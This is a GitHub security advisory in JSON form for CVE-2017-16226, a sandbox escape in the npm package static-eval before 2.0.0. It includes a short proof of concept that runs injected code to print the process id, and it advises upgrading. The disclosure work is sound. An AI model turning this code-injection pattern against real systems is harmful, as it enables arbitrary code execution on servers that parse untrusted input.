{
  "schema_version": "1.4.0",
  "id": "GHSA-5mjw-6jrh-hvfq",
  "modified": "2023-09-11T16:18:58Z",
  "published": "2018-08-06T21:37:06Z",
  "aliases": [
    "CVE-2017-16226"
  ],
  "summary": "Sandbox Breakout / Arbitrary Code Execution in static-eval",
  "details": "Affected versions of `static-eval` pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.\n\n## Proof of concept\n```js\nvar evaluate = require('static-eval');\nvar parse = require('esprima').parse;\nvar src = '(function(){console.log(process.pid)})()';\nvar ast = parse(src).body[0].expression;\nvar res = evaluate(ast, {});\n// Will print the process id\n```\n\n\n## Recommendation\n\nUpdate to version 2.0.0 or later.",
  "severity": [],
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "static-eval"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0"
            }
          ]
        }
      ]
    }
  ],
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16226"
    },
    {
      "type": "WEB",
      "url": "https://github.com/substack/static-eval/pull/18"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-5mjw-6jrh-hvfq"
    },
    {
      "type": "WEB",
      "url": "https://maustin.net/articles/2017-10/static_eval"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/548"
    }
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:16:46Z",
    "nvd_published_at": null
  }
}